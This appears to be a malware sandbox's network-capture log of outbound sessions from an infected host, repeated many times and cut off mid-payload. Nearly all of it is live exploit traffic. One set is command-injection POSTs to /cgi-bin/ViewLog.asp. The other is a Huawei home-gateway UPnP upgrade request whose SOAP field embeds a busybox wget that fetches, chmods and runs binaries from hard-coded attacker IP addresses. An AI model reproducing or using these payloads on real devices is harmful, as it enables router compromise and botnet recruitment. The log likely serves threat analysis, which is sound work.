Nov 23, 2023 05:16:20.262501001 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:28.966478109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.166512012 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:22.982373953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	49316	62.78.38.2	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.979111910 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.196158886 CET	75	IN	HTTP/1.1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	50890	95.163.100.27	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.996237993 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:12.218159914 CET	355	IN	HTTP/1.1 333 Only buildin pages allowed Date: Thurs, 23 Nov 2023 4:16:4 GMT GMT Server: Webio Embedded server v1.0 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 33 33 33 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 45 72 72 6f 72 20 33 33 33 3a 20 4f 6e 6c 79 20 62 75 69 6c 64 69 6e 20 70 61 67 65 73 20 61 6c 6c 6f 77 65 64 3c 62 72 3e 3c 2f 68 32 3e 0d 0a 46 69 6c 65 3a 20 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 62 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Error 333</title></head><body><h2>Error 333: Only buildin pages allowed<br></h2>File: cgi-bin/ViewLog.asp<br></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	37704	94.122.89.194	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.996752024 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	48944	156.241.92.164	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:16.113759041 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:18.086505890 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:20.518501997 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:25.382471085 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:34.854487896 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:54.310497046 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:33.222318888 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 